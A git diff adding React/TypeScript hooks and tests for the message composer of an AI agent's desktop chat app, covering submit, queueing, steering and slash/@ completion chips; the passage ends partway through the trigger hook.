diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-submit.ts b/ui-desktop/src/app/chat/composer/hooks/use-composer-submit.ts
new file mode 100644
index 000000000..9d34ddfca
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-submit.ts
@@ -0,0 +1,239 @@
+import { type RefObject, useEffect, useRef } from 'react'
+
+import { SLASH_COMMAND_RE } from '@/lib/chat-runtime'
+import { triggerHaptic } from '@/lib/haptics'
+import { hasClarifyRequest, skipClarifyRequest } from '@/store/clarify'
+import { clearSessionDraft, type ComposerAttachment } from '@/store/composer'
+import { resetBrowseState } from '@/store/composer-input-history'
+import { enqueueQueuedPrompt, type QueuedPromptEntry } from '@/store/composer-queue'
+
+import { cloneAttachments, type QueueEditState } from '../composer-utils'
+import { onComposerSubmitRequest } from '../focus'
+import { pathifyRefs } from '../path-refs'
+import { composerPlainText } from '../rich-editor'
+import { useComposerScope } from '../scope'
+import type { ChatBarProps } from '../types'
+
+interface UseComposerSubmitArgs {
+  activeQueueSessionKey: string | null
+  activeQueueSessionKeyRef: RefObject<string | null>
+  attachments: ComposerAttachment[]
+  busy: boolean
+  compacting: boolean
+  clearDraft: () => void
+  disabled: boolean
+  draftRef: RefObject<string>
+  drainNextQueued: () => Promise<boolean>
+  editorRef: RefObject<HTMLDivElement | null>
+  exitQueuedEdit: (action: 'cancel' | 'save') => boolean
+  focusInput: () => void
+  inputDisabled: boolean
+  loadIntoComposer: (text: string, attachments: ComposerAttachment[]) => void
+  onCancel: ChatBarProps['onCancel']
+  onSteer: ChatBarProps['onSteer']
+  onSubmit: ChatBarProps['onSubmit']
+  queueCurrentDraft: () => boolean
+  queueEdit: QueueEditState | null
+  queuedPrompts: QueuedPromptEntry[]
+  sessionId: string | null | undefined
+  setComposerText: (value: string) => void
+  stashAt: (scope: string | null, text?: string, attachments?: ComposerAttachment[]) => void
+}
+
+/**
+ * The composer's submit engine — the orchestration seam where the draft and
+ * queue meet. `submitDraft` is the one decision tree (queue-edit save · slash-
+ * now-while-busy · queue · drain · send · stop); `dispatchSubmit` is the shared
+ * send-with-restore primitive (re-loads + re-stashes the draft if the gateway
+ * rejects, so nothing is ever lost); `steerDraft` redirects the live turn. Reads
+ * the draft + queue APIs; owns no state of its own beyond the stable
+ * external-submit listener ref.
+ */
+export function useComposerSubmit({
+  activeQueueSessionKey,
+  activeQueueSessionKeyRef,
+  attachments,
+  busy,
+  compacting,
+  clearDraft,
+  disabled,
+  draftRef,
+  drainNextQueued,
+  editorRef,
+  exitQueuedEdit,
+  focusInput,
+  inputDisabled,
+  loadIntoComposer,
+  onCancel,
+  onSteer,
+  onSubmit,
+  queueCurrentDraft,
+  queueEdit,
+  queuedPrompts,
+  sessionId,
+  setComposerText,
+  stashAt
+}: UseComposerSubmitArgs) {
+  const scope = useComposerScope()
+
+  // Shared send primitive: fire onSubmit, and if the gateway rejects (accepted
+  // === false) or throws, re-load + re-stash the draft so the words survive.
+  const dispatchSubmit = (text: string, attachments?: ComposerAttachment[]) => {
+    const submittedScope = activeQueueSessionKeyRef.current
+    const submittedAttachments = attachments ?? []
+
+    const restore = () => {
+      loadIntoComposer(text, submittedAttachments)
+      // Use the scope captured at dispatch, not whatever session is focused
+      // now — the gateway can reject well after the user has switched away,
+      // and re-stashing into the currently-focused session would overwrite
+      // its draft with the rejected text from a different session (#54527).
+      stashAt(submittedScope, text, submittedAttachments)
+    }
+
+    void Promise.resolve(
+      attachments
+        ? onSubmit(text, { attachments, composerScope: submittedScope })
+        : onSubmit(text, { composerScope: submittedScope })
+    )
+      .then(accepted => void (accepted === false ? restore() : clearSessionDraft(submittedScope)))
+      .catch(restore)
+  }
+
+  // External "submit this prompt" requests (e.g. the review pane's agent-ship
+  // button) route through the same send path. A ref keeps the listener stable
+  // while always calling the latest dispatchSubmit closure.
+  const dispatchSubmitRef = useRef(dispatchSubmit)
+  dispatchSubmitRef.current = dispatchSubmit
+
+  useEffect(
+    () =>
+      onComposerSubmitRequest(({ target, text }) => {
+        if (target === 'main' && !inputDisabled) {
+          dispatchSubmitRef.current(text)
+        }
+      }),
+    [inputDisabled]
+  )
+
+  const submitDraft = () => {
+    if (disabled) {
+      return
+    }
+
+    // Source the text from the DOM editor, not React state. The AUI composer
+    // state (`draft`) and the derived `hasComposerPayload` lag the DOM by a
+    // render, so on fast typing or IME composition the final keystroke(s) may
+    // not have synced yet — reading state here drops the message (Enter looks
+    // like it does nothing; typing a trailing space only "fixes" it because the
+    // extra input event forces a state sync). draftRef is updated on every
+    // input event; refresh it from the editor once more to also cover an
+    // in-flight keystroke that hasn't fired its input event yet.
+    const editor = editorRef.current
+
+    if (editor) {
+      const domText = composerPlainText(editor)
+
+      if (domText !== draftRef.current) {
+        draftRef.current = domText
+        setComposerText(domText)
+      }
+    }
+
+    // A path that never got its committing space (`@apps/desktop/` left by a Tab
+    // descend, then Enter) is still the reference the user picked — promote it
+    // on the way out so it attaches instead of submitting as inert text.
+    const text = pathifyRefs(draftRef.current)
+    const payloadPresent = text.trim().length > 0 || attachments.length > 0
+
+    // A clarify card parked on this session owns the turn: the agent is blocked
+    // inside its tool batch waiting on `clarify.respond`, so a follow-up routed
+    // through steer/queue sits undelivered until the clarify's own timeout
+    // (default 5 min) — the message looks sent and nothing happens. Typing a
+    // real message instead of picking an option IS the answer "none of these":
+    // skip the question so the tool returns, then route the words normally.
+    //
+    // Fire-and-forget, not awaited: the skip clears the card synchronously and
+    // both RPCs ride the same socket in call order, so the gateway resolves the
+    // clarify before it sees the follow-up. Awaiting first would leave the draft
+    // live for a tick — long enough for a second Enter to send it twice.
+    if (payloadPresent && !queueEdit && hasClarifyRequest(sessionId)) {
+      void skipClarifyRequest(sessionId)
+    }
+
+    if (queueEdit) {
+      exitQueuedEdit('save')
+    } else if (busy) {
+      // Slash commands should execute immediately even while the agent is
+      // busy — they're client-side operations (/yolo, /skin, /new, /help,
+      // etc.) or self-contained gateway RPCs (/status, /compress).  onSubmit
+      // routes them to executeSlashCommand, which has its own per-command
+      // busy guard for commands that genuinely need an idle session (skill
+      // /send directives).  Queuing them would make every slash command wait
+      // for the current turn to finish, which is how the TUI never behaves.
+      if (!attachments.length && SLASH_COMMAND_RE.test(text.trim())) {
+        triggerHaptic('submit')
+        clearDraft()
+        dispatchSubmit(text)
+      } else if (!compacting && !attachments.length && text.trim()) {
+        // Cursor-style stop-and-correct: interrupt the live turn and redirect
+        // it with this text. redirect() preserves the shown reasoning/work; if
+        // the turn already ended, steerDraft re-queues so nothing is lost.
+        steerDraft()
+      } else if (payloadPresent) {
+        // Attachments can't ride a redirect (no tool-result image carriage) —
+        // queue the whole payload for the next turn.
+        queueCurrentDraft()
+      } else {
+        // Stop button (the only way to reach here while busy with an empty
+        // composer — empty Enter is short-circuited in the keydown handler).
+        triggerHaptic('cancel')
+        void Promise.resolve(onCancel())
+      }
+    } else if (!payloadPresent && queuedPrompts.length > 0) {
+      void drainNextQueued()
+    } else if (payloadPresent) {
+      const submittedAttachments = cloneAttachments(attachments)
+      triggerHaptic('submit')
+      resetBrowseState(sessionId)
+      clearDraft()
+      scope.attachments.clear()
+      dispatchSubmit(text, submittedAttachments)
+    }
+
+    focusInput()
+  }
+
+  // Redirect the live turn with a correction. The gateway either restarts the
+  // active model request with its displayed context or waits for the current
+  // tool boundary. If the turn already ended, queue the words instead.
+  const steerDraft = () => {
+    const text = draftRef.current.trim()
+
+    // Guard on live editor state, not the render-lagged `canSteer`: a redirect
+    // fired on a fast Enter must not be dropped because state hasn't synced.
+    if (!onSteer || !text || attachments.length > 0 || SLASH_COMMAND_RE.test(text)) {
+      return
+    }
+
+    triggerHaptic('submit')
+    clearDraft()
+
+    void Promise.resolve(onSteer(text)).then(accepted => {
+      if (!accepted && activeQueueSessionKey) {
+        enqueueQueuedPrompt(activeQueueSessionKey, { text, attachments: [] })
+      }
+    })
+  }
+
+  const queueDraft = () => {
+    if (disabled || !busy) {
+      return
+    }
+
+    queueCurrentDraft()
+    focusInput()
+  }
+
+  return { dispatchSubmit, queueDraft, steerDraft, submitDraft }
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-trigger.test.ts b/ui-desktop/src/app/chat/composer/hooks/use-composer-trigger.test.ts
new file mode 100644
index 000000000..44c010cb4
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-trigger.test.ts
@@ -0,0 +1,294 @@
+import type { Unstable_TriggerAdapter, Unstable_TriggerItem } from '@assistant-ui/core'
+import { act, renderHook } from '@testing-library/react'
+import { createRef } from 'react'
+import { describe, expect, it, vi } from 'vitest'
+
+import { composerPlainText, renderComposerContents, RICH_INPUT_SLOT } from '../rich-editor'
+
+import { useComposerTrigger } from './use-composer-trigger'
+
+/** A live contentEditable seeded with `text`, caret parked at the end. */
+function mountEditor(text: string) {
+  const editor = document.createElement('div')
+  editor.dataset.slot = RICH_INPUT_SLOT
+  editor.contentEditable = 'true'
+  document.body.append(editor)
+  renderComposerContents(editor, text)
+
+  const range = document.createRange()
+  range.selectNodeContents(editor)
+  range.collapse(false)
+  const selection = window.getSelection()!
+  selection.removeAllRanges()
+  selection.addRange(range)
+
+  return editor
+}
+
+const item = (command: string, group = 'Skills'): Unstable_TriggerItem => ({
+  id: command,
+  type: 'slash',
+  label: command.slice(1),
+  metadata: { command, display: command, meta: '', group, action: '', rawText: command }
+})
+
+function mountTrigger(editor: HTMLDivElement, items: Unstable_TriggerItem[]) {
+  const editorRef = createRef<HTMLDivElement>() as { current: HTMLDivElement | null }
+  editorRef.current = editor
+
+  const draftRef = { current: composerPlainText(editor) }
+
+  const adapter: Unstable_TriggerAdapter = {
+    categories: () => [],
+    categoryItems: () => [],
+    search: () => items
+  }
+
+  const setComposerText = vi.fn()
+
+  const hook = renderHook(() =>
+    useComposerTrigger({
+      at: { adapter: null, loading: false },
+      draftRef,
+      editorRef,
+      requestMainFocus: vi.fn(),
+      setComposerText,
+      slash: { adapter, loading: false }
+    })
+  )
+
+  return { draftRef, hook, setComposerText }
+}
+
+describe('useComposerTrigger — slash anywhere in the prompt', () => {
+  it('opens the completion list for a slash typed mid-message', () => {
+    const editor = mountEditor('please run /cle')
+    const { hook } = mountTrigger(editor, [item('/clean')])
+
+    act(() => hook.result.current.refreshTrigger())
+
+    expect(hook.result.current.trigger).toMatchObject({ kind: '/', inline: true, query: 'cle' })
+    expect(hook.result.current.triggerItems).toHaveLength(1)
+  })
+
+  it('inserts the picked skill inline and keeps the surrounding prose intact', () => {
+    const editor = mountEditor('please run /cle')
+    const { hook } = mountTrigger(editor, [item('/clean')])
+
+    act(() => hook.result.current.refreshTrigger())
+    act(() => hook.result.current.replaceTriggerWithChip(item('/clean')))
+
+    // The `/cle` the user typed is replaced by the full command; "please run"
+    // in front of it survives untouched.
+    expect(composerPlainText(editor)).toBe('please run /clean ')
+  })
+
+  it('offers only skills mid-message, not app commands', () => {
+    // `/model` and `/new` act on the app — meaningless as a reference in prose.
+    const editor = mountEditor('please run /')
+    const { hook } = mountTrigger(editor, [item('/clean'), item('/model', 'Commands'), item('/new', 'Commands')])
+
+    act(() => hook.result.current.refreshTrigger())
+
+    expect(hook.result.current.triggerItems.map(i => i.label)).toEqual(['clean'])
+  })
+
+  it('still offers the full command set at the start of the prompt', () => {
+    const editor = mountEditor('/')
+    const { hook } = mountTrigger(editor, [item('/clean'), item('/model', 'Commands')])
+
+    act(() => hook.result.current.refreshTrigger())
+
+    expect(hook.result.current.triggerItems.map(i => i.label)).toEqual(['clean', 'model'])
+  })
+
+  it('still opens the list for a slash at the start of the prompt', () => {
+    const editor = mountEditor('/cle')
+    const { hook } = mountTrigger(editor, [item('/clean')])
+
+    act(() => hook.result.current.refreshTrigger())
+
+    expect(hook.result.current.trigger).toMatchObject({ kind: '/', query: 'cle' })
+    expect(hook.result.current.trigger?.inline).toBeUndefined()
+  })
+
+  it('leaves a mid-message file path alone', () => {
+    const editor = mountEditor('open src/foo/bar')
+    const { hook } = mountTrigger(editor, [item('/clean')])
+
+    act(() => hook.result.current.refreshTrigger())
+
+    expect(hook.result.current.trigger).toBeNull()
+  })
+
+  it('opens the list for a second slash after a leading command', () => {
+    // `/work /cle`: the command regex's argument tail would otherwise swallow
+    // `/cle` as an argument to `/work`, and a no-arg command suppresses the
+    // popover — so every slash after the first went dead.
+    const editor = mountEditor('/work /cle')
+    const { hook } = mountTrigger(editor, [item('/clean')])
+
+    act(() => hook.result.current.refreshTrigger())
+
+    expect(hook.result.current.trigger).toMatchObject({ kind: '/', inline: true, query: 'cle' })
+    expect(hook.result.current.triggerItems).toHaveLength(1)
+  })
+
+  it('inserts the second command without disturbing the first', () => {
+    const editor = mountEditor('/work rewrite the composer /cle')
+    const { hook } = mountTrigger(editor, [item('/clean')])
+
+    act(() => hook.result.current.refreshTrigger())
+    act(() => hook.result.current.replaceTriggerWithChip(item('/clean')))
+
+    expect(composerPlainText(editor)).toBe('/work rewrite the composer /clean ')
+  })
+})
+
+describe('useComposerTrigger — free-text slash arguments', () => {
+  it('keeps a picked /goal command as editable text while retaining subcommand completion', () => {
+    const editor = mountEditor('/go')
+    const goal = item('/goal', 'Commands')
+    const { hook } = mountTrigger(editor, [goal])
+
+    act(() => hook.result.current.refreshTrigger())
+    act(() => hook.result.current.replaceTriggerWithChip(goal))
+
+    expect(composerPlainText(editor)).toBe('/goal ')
+    expect(editor.querySelector('[data-slash-kind]')).toBeNull()
+    expect(hook.result.current.trigger).not.toBeNull()
+  })
+
+  it('does not seal a multi-word /goal into a chip when the option list runs empty', () => {
+    const editor = mountEditor('/goal finish the full prompt')
+    const { hook } = mountTrigger(editor, [])
+
+    act(() => hook.result.current.refreshTrigger())
+
+    expect(hook.result.current.slashFreeTextArgStage).toBe(true)
+    expect(hook.result.current.commitTypedSlashDirective()).toBe(false)
+    expect(composerPlainText(editor)).toBe('/goal finish the full prompt')
+    expect(editor.querySelector('[data-slash-kind]')).toBeNull()
+  })
+
+  it('treats the default highlight as a suggestion until the user arrows to a row', () => {
+    const editor = mountEditor('/goal stat')
+    const { hook } = mountTrigger(editor, [item('/goal status', 'Options')])
+
+    act(() => hook.result.current.refreshTrigger())
+    expect(hook.result.current.triggerActiveExplicit).toBe(false)
+
+    act(() => hook.result.current.moveTriggerActive(1))
+    expect(hook.result.current.triggerActiveExplicit).toBe(true)
+  })
+
+  it('drops a deliberate selection once the query moves on', () => {
+    const editor = mountEditor('/goal stat')
+    const { hook } = mountTrigger(editor, [item('/goal status', 'Options')])
+
+    act(() => hook.result.current.refreshTrigger())
+    act(() => hook.result.current.moveTriggerActive(1))
+
+    renderComposerContents(editor, '/goal start the migration')
+    act(() => hook.result.current.refreshTrigger())
+
+    expect(hook.result.current.triggerActiveExplicit).toBe(false)
+  })
+
+  it('keeps a multi-word /resume search typeable instead of firing the picker action', () => {
+    // The session list always ends in a "Browse all sessions…" action row, so
+    // an accept here doesn't insert a chip — it empties the composer and opens
+    // the overlay, taking the half-typed query with it.
+    const editor = mountEditor('/resume my new')
+    const { hook } = mountTrigger(editor, [item('/resume', 'Sessions')])
+
+    act(() => hook.result.current.refreshTrigger())
+
+    expect(hook.result.current.slashFreeTextArgStage).toBe(true)
+    expect(hook.result.current.commitTypedSlashDirective()).toBe(false)
+    expect(composerPlainText(editor)).toBe('/resume my new')
+  })
+
+  it('still commits a fully typed finite option as one directive chip', () => {
+    const editor = mountEditor('/personality creative')
+    const { hook } = mountTrigger(editor, [])
+
+    act(() => hook.result.current.refreshTrigger())
+
+    expect(hook.result.current.slashFreeTextArgStage).toBe(false)
+    act(() => {
+      expect(hook.result.current.commitTypedSlashDirective()).toBe(true)
+    })
+    expect(composerPlainText(editor)).toBe('/personality creative ')
+    expect(editor.querySelector('[data-slash-kind]')?.getAttribute('data-ref-text')).toBe('/personality creative')
+  })
+})
+
+describe('useComposerTrigger — chip survival (the plaintext-demotion bug class)', () => {
+  it('keeps a leading command pill through a Backspace path-ascend', () => {
+    // The reported repro: `/work @folder…` then Backspace — both chips went
+    // plaintext because ascend re-rendered the whole editor from text.
+    const editor = mountEditor('/work @Desktop/')
+    const { hook } = mountTrigger(editor, [])
+
+    expect(editor.querySelector('[data-slash-kind]')).not.toBeNull()
+
+    act(() => hook.result.current.refreshTrigger())
+    expect(hook.result.current.trigger).toMatchObject({ kind: '@', query: 'Desktop/' })
+
+    let ran = false
+    act(() => {
+      ran = hook.result.current.ascendTriggerPath()
+    })
+
+    expect(ran).toBe(true)
+    expect(composerPlainText(editor)).toBe('/work @')
+    expect(editor.querySelector('[data-slash-kind]')).not.toBeNull()
+  })
+
+  it('keeps a leading command pill when a folder pick commits its ref chip', () => {
+    const editor = mountEditor('/work @Desk')
+
+    const folder: Unstable_TriggerItem = {
+      id: 'folder:Desktop',
+      type: 'folder',
+      label: 'Desktop',
+      metadata: { rawText: '@folder:Desktop', insertId: 'Desktop' }
+    }
+
+    const { hook } = mountTrigger(editor, [folder])
+
+    act(() => hook.result.current.refreshTrigger())
+    act(() => hook.result.current.replaceTriggerWithChip(folder))
+
+    expect(composerPlainText(editor)).toBe('/work @folder:`Desktop` ')
+    expect(editor.querySelector('[data-slash-kind]')).not.toBeNull()
+    expect(editor.querySelector('[data-ref-kind="folder"]')).not.toBeNull()
+  })
+
+  it('commits in place when Chromium has split the token across text nodes', () => {
+    // Chromium fragments text nodes around contenteditable=false chips; the
+    // commit path must span the fragments instead of bailing to a full
+    // re-render.
+    const editor = document.createElement('div')
+    editor.dataset.slot = RICH_INPUT_SLOT
+    editor.contentEditable = 'true'
+    document.body.append(editor)
+    editor.append(document.createTextNode('please run /c'), document.createTextNode('le'))
+
+    const caret = document.createRange()
+    caret.setStart(editor.lastChild!, 2)
+    caret.collapse(true)
+    const selection = window.getSelection()!
+    selection.removeAllRanges()
+    selection.addRange(caret)
+
+    const { hook } = mountTrigger(editor, [item('/clean')])
+
+    act(() => hook.result.current.refreshTrigger())
+    act(() => hook.result.current.replaceTriggerWithChip(item('/clean')))
+
+    expect(composerPlainText(editor)).toBe('please run /clean ')
+    expect(editor.querySelector('[data-slash-kind]')).not.toBeNull()
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-composer-trigger.ts b/ui-desktop/src/app/chat/composer/hooks/use-composer-trigger.ts
new file mode 100644
index 000000000..d7a8513f6
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-composer-trigger.ts
@@ -0,0 +1,458 @@
+import type { Unstable_TriggerAdapter, Unstable_TriggerItem } from '@assistant-ui/core'
+import { type MutableRefObject, type RefObject, useCallback, useEffect, useRef, useState } from 'react'
+
+import { clawcodexDirectiveFormatter } from '@/components/assistant-ui/directive-text'
+import { desktopSlashCommandArgumentMode } from '@/lib/desktop-slash-commands'
+
+import {
+  COMPLETION_ACTIONS,
+  isSkillItem,
+  slashArgStage,
+  slashChipKindForItem,
+  slashCommandToken
+} from '../composer-utils'
+import {
+  appendComposerContents,
+  caretOffsetInEditor,
+  composerPlainText,
+  placeCaretAtOffset,
+  refChipElement,
+  renderComposerContents,
+  replaceBeforeCaret,
+  RICH_INPUT_SLOT,
+  slashChipElement
+} from '../rich-editor'
+import { detectTrigger, textBeforeCaret, type TriggerState } from '../text-utils'
+
+/**
+ * Rebuild-from-text fallback for carets the range walk can't anchor (a
+ * non-collapsed selection, a caret not preceded by contiguous text). It
+ * re-renders the whole editor from serialized text, so it only runs when the
+ * in-place path reports failure — never as the default.
+ *
+ * The split is around the CARET, not the end of the draft. Slicing
+ * `length - tokenLength` off the end assumed the trigger token was the last
+ * thing in the editor: a completion picked mid-message chopped the trailing
+ * prose off and stranded a partial `folder:` in front of the chip, because the
+ * window it removed wasn't the token the user was typing.
+ */
+export function rebuildAroundCaret(editor: HTMLDivElement, tokenLength: number, insert: DocumentFragment | string) {
+  const current = composerPlainText(editor)
+  const caret = caretOffsetInEditor(editor)
+  const prefix = current.slice(0, Math.max(0, caret - tokenLength))
+  const suffix = current.slice(caret)
+
+  if (typeof insert === 'string') {
+    renderComposerContents(editor, `${prefix}${insert}${suffix}`)
+    placeCaretAtOffset(editor, prefix.length + insert.length)
+
+    return
+  }
+
+  // Measure before appending — moving a fragment empties it. Appending the
+  // element rather than re-serializing keeps mid-message slash pills alive:
+  // they have no text hydration, unlike `@` refs and the leading command.
+  const scratch = document.createElement('div')
+
+  scratch.dataset.slot = RICH_INPUT_SLOT
+  scratch.append(insert.cloneNode(true))
+
+  const inserted = composerPlainText(scratch)
+
+  renderComposerContents(editor, prefix)
+  editor.append(insert)
+  appendComposerContents(editor, suffix)
+  placeCaretAtOffset(editor, prefix.length + inserted.length)
+}
+
+interface CompletionSource {
+  adapter: Unstable_TriggerAdapter | null
+  loading: boolean
+}
+
+interface UseComposerTriggerOptions {
+  at: CompletionSource
+  draftRef: MutableRefObject<string>
+  editorRef: RefObject<HTMLDivElement | null>
+  /** `:joy` emoji completions — inserts the emoji character, never a chip. */
+  emoji?: CompletionSource
+  /** Bank the pre-commit state so a popover pick is a single undo step. */
+  recordUndoPoint?: () => void
+  requestMainFocus: () => void
+  setComposerText: (text: string) => void
+  slash: CompletionSource
+}
+
+/**
+ * Trigger / completion engine: `@`/`/` detection against the live editor, the
+ * adapter-driven item list, the open popover's selection state, and the chip
+ * insertion that commits a pick back into the contentEditable. Owns the trigger
+ * state; ChatBar threads its editor refs in and consumes the returned API from
+ * the input/keydown/keyup paths + the popover render. `triggerKeyConsumedRef` is
+ * exposed so keydown can mark a navigation/control key as handled and the
+ * subsequent keyup skips its refresh.
+ */
+export function useComposerTrigger({
+  at,
+  draftRef,
+  editorRef,
+  emoji,
+  recordUndoPoint,
+  requestMainFocus,
+  setComposerText,
+  slash
+}: UseComposerTriggerOptions) {
+  const [trigger, setTrigger] = useState<TriggerState | null>(null)
+  const [triggerActive, setTriggerActive] = useState(0)
+  // The list highlights its first row on open, which is a suggestion rather
+  // than a choice. This records that the user moved the highlight themselves,
+  // which is what lets Enter accept a completion in a free-text argument stage
+  // without stealing prose from everyone who never touched the arrows.
+  const [triggerActiveExplicit, setTriggerActiveExplicit] = useState(false)
+  const [triggerItems, setTriggerItems] = useState<readonly Unstable_TriggerItem[]>([])
+  // Set synchronously in keydown when the open trigger popover consumes a
+  // navigation/control key (Arrow/Enter/Tab/Escape). The subsequent keyup must
+  // NOT run refreshTrigger for that keypress: it never edits text, and for
+  // Escape the keydown has already set trigger=null, so a keyup refresh would
+  // re-detect the still-present `/` and instantly reopen the menu. A ref is
+  // used instead of reading `trigger` in keyup because by keyup time React has
+  // re-rendered and the handler closure sees the post-keydown state.
+  const triggerKeyConsumedRef = useRef(false)
+
+  const resetTriggerActive = useCallback(() => {
+    setTriggerActive(0)
+    setTriggerActiveExplicit(false)
+  }, [])
+
+  const refreshTrigger = useCallback(() => {
+    const editor = editorRef.current
+
+    if (!editor) {
+      return
+    }
+
+    // Fast-bail: if neither `@` nor `/` appears in the current draft, there's
+    // nothing for `detectTrigger` to match. Use `textContent` (cheap browser-
+    // native walk) for the precondition check rather than `composerPlainText`
+    // (recursive child walk with chip-aware logic). Only when a trigger char
+    // is present do we pay the cost of the full walk + DOM range work.
+    const rawText = editor.textContent ?? ''
+
+    if (!rawText.includes('@') && !rawText.includes('/') && !rawText.includes(':')) {
+      if (trigger) {
+        setTrigger(null)
+        resetTriggerActive()
+      }
+
+      return
+    }
+
+    const before = textBeforeCaret(editor)
+    const found = detectTrigger(before ?? composerPlainText(editor))
+
+    // A text-only command has no completion screen once its prose begins. Mixed
+    // commands such as /goal stay live so their finite subcommands can still be
+    // suggested, while arbitrary goal text remains valid.
+    const argumentMode =
+      found?.kind === '/' && slashArgStage(found.query)
+        ? desktopSlashCommandArgumentMode(slashCommandToken(found.query))
+        : null
+
+    const detected =
+      found?.kind === '/' && slashArgStage(found.query) && argumentMode !== 'options' && argumentMode !== 'mixed'
+        ? null
+        : found
+
+    setTrigger(detected)
+
+    // Only reset the highlight when the trigger actually changed (opened, or
+    // the query/kind differs). Re-detecting the *same* trigger — e.g. on a
+    // caret move (mouseup) or a stray refresh — must preserve the user's
+    // current selection instead of snapping back to the first item.
+    if (detected?.kind !== trigger?.kind || detected?.query !== trigger?.query) {
+      resetTriggerActive()
+    }
+  }, [editorRef, resetTriggerActive, trigger])
+
+  const triggerAdapter: Unstable_TriggerAdapter | null =
+    trigger?.kind === '@'
+      ? at.adapter
+      : trigger?.kind === '/'
+        ? slash.adapter
+        : trigger?.kind === ':'
+          ? (emoji?.adapter ?? null)
+          : null
+
+  useEffect(() => {
+    if (!trigger || !triggerAdapter?.search) {
+      setTriggerItems([])
+
+      return
+    }
+
+    const items = triggerAdapter.search(trigger.query)
+
+    // Mid-message only offers SKILLS. A built-in like `/model` or `/new` acts
+    // on the app, so it's meaningless as a reference inside prose — only a
+    // skill reads as "handle this part with X". Filtering here rather than in
+    // the fetcher keeps one completion source for both shapes.
+    setTriggerItems(trigger.inline ? items.filter(isSkillItem) : items)
+  }, [trigger, triggerAdapter])
+
+  const triggerLoading =
+    trigger?.kind === '@'
+      ? at.loading
+      : trigger?.kind === '/'
+        ? slash.loading
+        : trigger?.kind === ':'
+          ? (emoji?.loading ?? false)
+          : false
+
+  // Suppress the "No matches" empty state once a slash command is past its name:
+  // a no-arg command has nothing to offer, and a fully-typed arg commits on
+  // Space/Tab — neither should dead-end on a popover.
+  const argStageEmpty = trigger?.kind === '/' && slashArgStage(trigger.query) && !triggerLoading && !triggerItems.length
+
+  const slashArgumentMode =
+    trigger?.kind === '/' && slashArgStage(trigger.query)
+      ? desktopSlashCommandArgumentMode(slashCommandToken(trigger.query))
+      : null
+
+  const slashFreeTextArgStage = slashArgumentMode === 'mixed' || slashArgumentMode === 'text'
+
+  const closeTrigger = () => {
+    setTrigger(null)
+    setTriggerItems([])
+    resetTriggerActive()
+  }
+
+  /** Step the highlight, marking it as the user's own deliberate pick. */
+  const moveTriggerActive = (delta: number) => {
+    setTriggerActiveExplicit(true)
+    setTriggerActive(idx => (idx + delta + triggerItems.length) % triggerItems.length)
+  }
+
+  useEffect(() => {
+    setTriggerActive(idx => Math.min(idx, Math.max(0, triggerItems.length - 1)))
+  }, [triggerItems.length])
+
+  // Commit the literally-typed `/command arg` as a directive chip — used when
+  // the completion list is empty because the arg is already fully typed (the
+  // backend completer drops exact matches). Reuses the chip path via a
+  // synthetic item whose serialized form is the verbatim text.
+  const commitTypedSlashDirective = (): boolean => {
+    if (trigger?.kind !== '/') {
+      return false
+    }
+
+    // Free prose must stay ordinary contentEditable text. This guard also
+    // protects against a stale completion result reaching the keydown path
+    // before refreshTrigger has caught up with the latest DOM input.
+    if (desktopSlashCommandArgumentMode(slashCommandToken(trigger.query)) !== 'options') {
+      return false
+    }
+
+    const text = `/${trigger.query.trimEnd()}`
+
+    replaceTriggerWithChip({
+      id: text,
+      type: 'slash',
+      label: text.slice(1),
+      metadata: {
+        command: slashCommandToken(trigger.query),
+        display: text,
+        meta: '',
+        group: '',
+        action: '',
+        rawText: text
+      }
+    })
+
+    return true
+  }
+
+  const replaceTriggerWithChip = (item: Unstable_TriggerItem, options?: { descend?: boolean }) => {
+    const editor = editorRef.current
+
+    if (!editor || !trigger) {
+      return
+    }
+
+    // Bank the pre-commit state first — every path below mutates the editor,
+    // and a pick must be exactly one undo step.
+    recordUndoPoint?.()
+
+    const rebuildAround = (insert: DocumentFragment | string) => rebuildAroundCaret(editor, trigger.tokenLength, insert)
+
+    // Action items (e.g. "Browse all sessions…") run a side effect instead of
+    // inserting a chip: strip the typed trigger token, then fire the action.
+    const completionAction = (item.metadata as { action?: unknown } | undefined)?.action
+    const runAction = typeof completionAction === 'string' ? COMPLETION_ACTIONS[completionAction] : undefined
+
+    if (runAction) {
+      if (!replaceBeforeCaret(editor, trigger.tokenLength, document.createDocumentFragment())) {
+        rebuildAround('')
+      }
+
+      draftRef.current = composerPlainText(editor)
+      setComposerText(draftRef.current)
+      closeTrigger()
+      runAction()
+      requestMainFocus()
+
+      return
+    }
+
+    const serialized = clawcodexDirectiveFormatter.serialize(item)
+    const starter = serialized.endsWith(':')
+
+    // Tab on a folder walks INTO it instead of committing it: re-type the
+    // token as the bare path so the next `complete.path` lists that folder's
+    // children, exactly as typing the path by hand would. Enter still commits
+    // the folder itself — the two intents are distinct, so the keys are too.
+    // Only `@` folders descend; a slash command's arg list has no hierarchy.
+    const descendInto =
+      options?.descend && trigger.kind === '@' && item.type === 'folder'
+        ? String((item.metadata as { insertId?: unknown } | undefined)?.insertId ?? '')
+        : ''
+
+    const finish = (keepOpen: boolean) => {
+      draftRef.current = composerPlainText(editor)
+      setComposerText(draftRef.current)
+      requestMainFocus()
+      keepOpen ? window.setTimeout(refreshTrigger, 0) : closeTrigger()
+    }
+
+    if (descendInto) {
+      const path = descendInto.endsWith('/') ? descendInto : `${descendInto}/`
+      // Carry the browse scope down with the path. Dropping it turned an
+      // explicit `@folder:` browse into a bare `@apps/desktop/` token halfway
+      // through, so the next completion silently widened back to files and the
+      // committed chip had to re-guess the kind from a trailing slash.
+      const scope = trigger.scope ? `${trigger.scope}:` : ''
+      const fragment = document.createDocumentFragment()
+
+      fragment.append(document.createTextNode(`@${scope}${path}`))
+
+      if (!replaceBeforeCaret(editor, trigger.tokenLength, fragment)) {
+        rebuildAround(`@${scope}${path}`)
+      }
+
+      return finish(true)
+    }
+
+    // Picking a bare arg-taking command (e.g. `/personality`) shouldn't commit
+    // it — expand to its options step so the popover shows the inline list, just
+    // as typing `/personality ` by hand would. A serialized value with a space is
+    // already an arg pick (`/personality alice`), so it commits normally. An
+    // inline (mid-message) pick never expands: it's a reference inside prose, so
+    // there's no command invocation for the args to belong to.
